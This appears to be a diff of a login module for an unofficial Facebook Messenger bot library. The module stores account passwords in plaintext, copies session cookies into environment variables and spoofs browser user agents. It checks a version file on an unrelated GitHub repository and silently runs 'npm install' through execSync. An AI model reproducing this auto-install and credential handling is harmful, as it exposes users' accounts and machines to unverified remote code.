|
1083
|
+
}
|
1084
|
+
}
|
1085
|
+
try {
|
1086
|
+
globalThis.Fca.Data.AppState = appState;
|
1087
|
+
appState.map(function(/** @type {{ key: string; value: string; expires: string; domain: string; path: string; }} */c) {
|
1088
|
+
var str = c.key + "=" + c.value + "; expires=" + c.expires + "; domain=" + c.domain + "; path=" + c.path + ";";
|
1089
|
+
jar.setCookie(str, "http://" + c.domain);
|
1090
|
+
});
|
1091
|
+
process.env.Backup = appState;
|
1092
|
+
await Database.set('Backup', appState);
|
1093
|
+
mainPromise = utils.get('https://www.facebook.com/', jar, null, globalOptions, { noRef: true }).then(utils.saveCookies(jar));
|
1094
|
+
} catch (e) {
|
1095
|
+
if (process.env.Backup != undefined && process.env.Backup) {
|
1096
|
+
return await backup(process.env.Backup,globalOptions, callback, prCallback);
|
1097
|
+
}
|
1098
|
+
try {
|
1099
|
+
if (await Database.has('Backup')) {
|
1100
|
+
return await backup(await Database.get('Backup'),globalOptions, callback, prCallback);
|
1101
|
+
}
|
1102
|
+
else {
|
1103
|
+
logger.Warning(Language.ErrBackup);
|
1104
|
+
process.exit(0);
|
1105
|
+
}
|
1106
|
+
}
|
1107
|
+
catch (e) {
|
1108
|
+
logger.Warning(Language.ErrBackup);
|
1109
|
+
logger.Error();
|
1110
|
+
process.exit(0);
|
1111
|
+
}
|
1112
|
+
return logger.Warning(Language.ErrBackup); // unreachable 👑
|
1113
|
+
}
|
1114
|
+
} else {
|
1115
|
+
mainPromise = utils
|
1116
|
+
.get("https://www.facebook.com/", null, null, globalOptions, { noRef: true })
|
1117
|
+
.then(utils.saveCookies(jar))
|
1118
|
+
.then(makeLogin(jar, email, password, globalOptions, callback, prCallback))
|
1119
|
+
.then(function() {
|
1120
|
+
return utils.get('https://www.facebook.com/', jar, null, globalOptions).then(utils.saveCookies(jar));
|
1121
|
+
});
|
1122
|
+
}
|
1123
|
+
} catch (e) {
|
1124
|
+
console.log(e);
|
1125
|
+
}
|
1126
|
+
var ctx,api;
|
1127
|
+
mainPromise = mainPromise
|
1128
|
+
.then(function(/** @type {{ body: string; }} */res) {
|
1129
|
+
var reg = /<meta http-equiv="refresh" content="0;url=([^"]+)[^>]+>/,redirect = reg.exec(res.body);
|
1130
|
+
if (redirect && redirect[1]) return utils.get(redirect[1], jar, null, globalOptions).then(utils.saveCookies(jar));
|
1131
|
+
return res;
|
1132
|
+
})
|
1133
|
+
.then(function(/** @type {{ body: any; }} */res) {
|
1134
|
+
var html = res.body,Obj = buildAPI(globalOptions, html, jar);
|
1135
|
+
ctx = Obj.ctx;
|
1136
|
+
api = Obj.api;
|
1137
|
+
process.env.api = Obj.api;
|
1138
|
+
return res;
|
1139
|
+
});
|
1140
|
+
if (globalOptions.pageID) {
|
1141
|
+
mainPromise = mainPromise
|
1142
|
+
.then(function() {
|
1143
|
+
return utils.get('https://www.facebook.com/' + ctx.globalOptions.pageID + '/messages/?section=messages&subsection=inbox', ctx.jar, null, globalOptions);
|
1144
|
+
})
|
1145
|
+
.then(function(/** @type {{ body: any; }} */resData) {
|
1146
|
+
var url = utils.getFrom(resData.body, 'window.location.replace("https:\\/\\/www.facebook.com\\', '");').split('\\').join('');
|
1147
|
+
url = url.substring(0, url.length - 1);
|
1148
|
+
return utils.get('https://www.facebook.com' + url, ctx.jar, null, globalOptions);
|
1149
|
+
});
|
1150
|
+
}
|
1151
|
+
mainPromise
|
1152
|
+
.then(function() {
|
1153
|
+
var { readFileSync } = require('fs-extra');
|
1154
|
+
const { execSync } = require('child_process');
|
1155
|
+
Fetch('https://raw.githubusercontent.com/n3h9/n3ha/main/package.json').then(async (/** @type {{ body: { toString: () => string; }; }} */res) => {
|
1156
|
+
const localVersion = JSON.parse(readFileSync('./node_modules/fca-candy-darkster/package.json')).version;
|
1157
|
+
if (Number(localVersion.replace(/\./g,"")) < Number(JSON.parse(res.body.toString()).version.replace(/\./g,"")) ) {
|
1158
|
+
log.warn("[ FCA-CANDY ] •",getText(Language.NewVersionFound,JSON.parse(readFileSync('./node_modules/fca-candy-darkster/package.json')).version,JSON.parse(res.body.toString()).version));
|
1159
|
+
if (globalThis.Fca.Require.FastConfig.AutoUpdate == true) {
|
1160
|
+
log.warn("[ FCA-CANDY ] •",Language.AutoUpdate);
|
1161
|
+
try {
|
1162
|
+
execSync('npm install fca-candy-darkster@latest', { stdio: 'inherit' });
|
1163
|
+
logger.Success(Language.UpdateSuccess)
|
1164
|
+
logger.Normal(Language.RestartAfterUpdate);
|
1165
|
+
await new Promise(resolve => setTimeout(resolve,5*1000));
|
1166
|
+
console.clear();process.exit(1);
|
1167
|
+
}
|
1168
|
+
catch (err) {
|
1169
|
+
log.warn('Error Update: ' + err);
|
1170
|
+
logger.Normal(Language.UpdateFailed);
|
1171
|
+
try {
|
1172
|
+
require.resolve('aliya-remake');
|
1173
|
+
}
|
1174
|
+
catch (e) {
|
1175
|
+
logger.Normal(Language.InstallSupportTool);
|
1176
|
+
execSync('npm install fca-candy-darkster@latest', { stdio: 'inherit' });
|
1177
|
+
process.exit(1);
|
1178
|
+
}
|
1179
|
+
var fcasp = require('aliya-remake');
|
1180
|
+
try {
|
1181
|
+
fcasp.onError()
|
1182
|
+
}
|
1183
|
+
catch (e) {
|
1184
|
+
logger.Normal(Language.NotiAfterUseToolFail, "[ Fca - Helper ]")
|
1185
|
+
logger.Normal("rmdir ./node_modules after type npm i && npm start","[ Fca - Helper ]");
|
1186
|
+
process.exit(0);
|
1187
|
+
}
|
1188
|
+
}
|
1189
|
+
}
|
1190
|
+
}
|
1191
|
+
else {
|
1192
|
+
logger.Normal(getText(Language.LocalVersion,localVersion));
|
1193
|
+
logger.Normal(getText(Language.CountTime,globalThis.Fca.Data.CountTime()))
|
1194
|
+
logger.Normal(Language.WishMessage[Math.floor(Math.random()*Language.WishMessage.length)]);
|
1195
|
+
require('./Extra/ExtraUptimeRobot')(),require('./Controllers/Remote');
|
1196
|
+
DataLanguageSetting.HTML.HTML==true? globalThis.Fca.Require.Web.listen(globalThis.Fca.Require.Web.get('DFP')) : globalThis.Fca.Require.Web = null;
|
1197
|
+
callback(null, api);
|
1198
|
+
}
|
1199
|
+
});
|
1200
|
+
}).catch(function(/** @type {{ error: any; }} */e) {
|
1201
|
+
log.error("login", e.error || e);
|
1202
|
+
callback(e);
|
1203
|
+
});
|
1204
|
+
}
|
1205
|
+
|
1206
|
+
/**
|
1207
|
+
* It asks the user for their account and password, and then saves it to the database.
|
1208
|
+
*/
|
1209
|
+
|
1210
|
+
function setUserNameAndPassWord() {
|
1211
|
+
let rl = readline.createInterface({
|
1212
|
+
input: process.stdin,
|
1213
|
+
output: process.stdout
|
1214
|
+
});
|
1215
|
+
let localbrand2 = JSON.parse(readFileSync('./node_modules/fca-candy-darkster/package.json')).version;
|
1216
|
+
console.clear();
|
1217
|
+
console.log(figlet.textSync('Horizon', {font: 'ANSI Shadow',horizontalLayout: 'default',verticalLayout: 'default',width: 0,whitespaceBreak: true }));
|
1218
|
+
console.log(chalk.bold.hex('#9900FF')("[</>]") + chalk.bold.yellow(' => ') + "Operating System: " + chalk.bold.red(os.type()));
|
1219
|
+
console.log(chalk.bold.hex('#9900FF')("[</>]") + chalk.bold.yellow(' => ') + "Machine Version: " + chalk.bold.red(os.version()));
|
1220
|
+
console.log(chalk.bold.hex('#9900FF')("[</>]") + chalk.bold.yellow(' => ') + "Fca Version: " + chalk.bold.red(localbrand2) + '\n');
|
1221
|
+
try {
|
1222
|
+
rl.question(Language.TypeAccount, (Account) => {
|
1223
|
+
if (!Account.includes("@") && globalThis.Fca.Require.utils.getType(parseInt(Account)) != "Number") return logger.Normal(Language.TypeAccountError, function () { process.exit(1) }); //Very Human
|
1224
|
+
else rl.question(Language.TypePassword,async function (Password) {
|
1225
|
+
rl.close();
|
1226
|
+
try {
|
1227
|
+
await Database.set("Account", Account);
|
1228
|
+
await Database.set("Password", Password);
|
1229
|
+
}
|
1230
|
+
catch (e) {
|
1231
|
+
logger.Warning(Language.ErrDataBase);
|
1232
|
+
logger.Error();
|
1233
|
+
process.exit(0);
|
1234
|
+
}
|
1235
|
+
if (globalThis.Fca.Require.FastConfig.ResetDataLogin) {
|
1236
|
+
globalThis.Fca.Require.FastConfig.ResetDataLogin = false;
|
1237
|
+
globalThis.Fca.Require.fs.writeFileSync('./CANDY-X-MARVI.json', JSON.stringify(globalThis.Fca.Require.FastConfig, null, 4));
|
1238
|
+
}
|
1239
|
+
logger.Success(Language.SuccessSetData);
|
1240
|
+
process.exit(1);
|
1241
|
+
});
|
1242
|
+
})
|
1243
|
+
}
|
1244
|
+
catch (e) {
|
1245
|
+
logger.Error(e)
|
1246
|
+
}
|
1247
|
+
}
|
1248
|
+
|
1249
|
+
/**
|
1250
|
+
* @param {{ email: any; password: any; appState: any; }} loginData
|
1251
|
+
* @param {{}} options
|
1252
|
+
* @param {(error: any, api: any) => any} callback
|
1253
|
+
*/
|
1254
|
+
|
1255
|
+
function login(loginData, options, callback) {
|
1256
|
+
if (utils.getType(options) === 'Function' || utils.getType(options) === 'AsyncFunction') {
|
1257
|
+
callback = options;
|
1258
|
+
options = {};
|
1259
|
+
}
|
1260
|
+
|
1261
|
+
var globalOptions = {
|
1262
|
+
selfListen: false,
|
1263
|
+
listenEvents: true,
|
1264
|
+
listenTyping: false,
|
1265
|
+
updatePresence: false,
|
1266
|
+
forceLogin: false,
|
1267
|
+
autoMarkDelivery: false,
|
1268
|
+
autoMarkRead: false,
|
1269
|
+
autoReconnect: true,
|
1270
|
+
logRecordSize: 100,
|
1271
|
+
online: false,
|
1272
|
+
emitReady: false,
|
1273
|
+
userAgent: "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8"
|
1274
|
+
};
|
1275
|
+
|
1276
|
+
if (loginData.email && loginData.password) {
|
1277
|
+
setOptions(globalOptions, {
|
1278
|
+
logLevel: "silent",
|
1279
|
+
forceLogin: true,
|
1280
|
+
userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36"
|
1281
|
+
});
|
1282
|
+
}
|
1283
|
+
else if (loginData.appState) {
|
1284
|
+
setOptions(globalOptions, options);
|
1285
|
+
}
|
1286
|
+
|
1287
|
+
var prCallback = null;
|
1288
|
+
if (utils.getType(callback) !== "Function" && utils.getType(callback) !== "AsyncFunction") {
|
1289
|
+
var rejectFunc = null;
|
1290
|
+
var resolveFunc = null;
|
1291
|
+
var returnPromise = new Promise(function(resolve, reject) {
|
1292
|
+
resolveFunc = resolve;
|
1293
|
+
rejectFunc = reject;
|
1294
|
+
});
|
1295
|
+
prCallback = function(/** @type {any} */error, /** @type {any} */api) {
|
1296
|
+
if (error) return rejectFunc(error);
|
1297
|
+
return resolveFunc(api);
|
1298
|
+
};
|
1299
|
+
callback = prCallback;
|
1300
|
+
}
|
1301
|
+
|
1302
|
+
(async function() {
|
1303
|
+
var Premium = require("./Extra/Src/Premium");
|
1304
|
+
globalThis.Fca.Data.PremText = await Premium(globalThis.Fca.Require.Security.create().uuid) || "You Are Using Version: Free !";
|
1305
|
+
if (!loginData.email && !loginData.password) {
|
1306
|
+
switch (globalThis.Fca.Require.FastConfig.AutoLogin) {
|
1307
|
+
case true: {
|
1308
|
+
if (globalThis.Fca.Require.FastConfig.ResetDataLogin) return setUserNameAndPassWord();
|
1309
|
+
else {
|
1310
|
+
try {
|
1311
|
+
if (await Database.get("TempState")) {
|
1312
|
+
try {
|
1313
|
+
loginData.appState = JSON.parse(await Database.get("TempState"));
|
1314
|
+
}
|
1315
|
+
catch (_) {
|
1316
|
+
loginData.appState = await Database.get("TempState");
|
1317
|
+
}
|
1318
|
+
await Database.delete("TempState");
|
1319
|
+
}
|
1320
|
+
}
|
1321
|
+
catch (e) {
|
1322
|
+
console.log(e)
|
1323
|
+
await Database.delete("TempState");
|
1324
|
+
logger.Warning(Language.ErrDataBase);
|
1325
|
+
logger.Error();
|
1326
|
+
process.exit(0);
|
1327
|
+
}
|
1328
|
+
try {
|
1329
|
+
if (await Database.has('Account') && await Database.has('Password')) return loginHelper(loginData.appState, loginData.email, loginData.password, globalOptions, callback, prCallback);
|
1330
|
+
else return setUserNameAndPassWord();
|
1331
|
+
}
|
1332
|
+
catch (e) {
|
1333
|
+
logger.Warning(Language.ErrDataBase);
|
1334
|
+
logger.Error();
|
1335
|
+
process.exit(0);
|
1336
|
+
}
|
1337
|
+
}
|
1338
|
+
}
|
1339
|
+
case false: {
|
1340
|
+
loginHelper(loginData.appState, loginData.email, loginData.password, globalOptions, callback, prCallback);
|
1341
|
+
}
|
1342
|
+
}
|
1343
|
+
}
|
1344
|
+
else loginHelper(loginData.appState, loginData.email, loginData.password, globalOptions, callback, prCallback);
|
1345
|
+
})()
|
1346
|
+
return returnPromise;
|
1347
|
+
}
|
1348
|
+
|
1349
|
+
module.exports = login;
|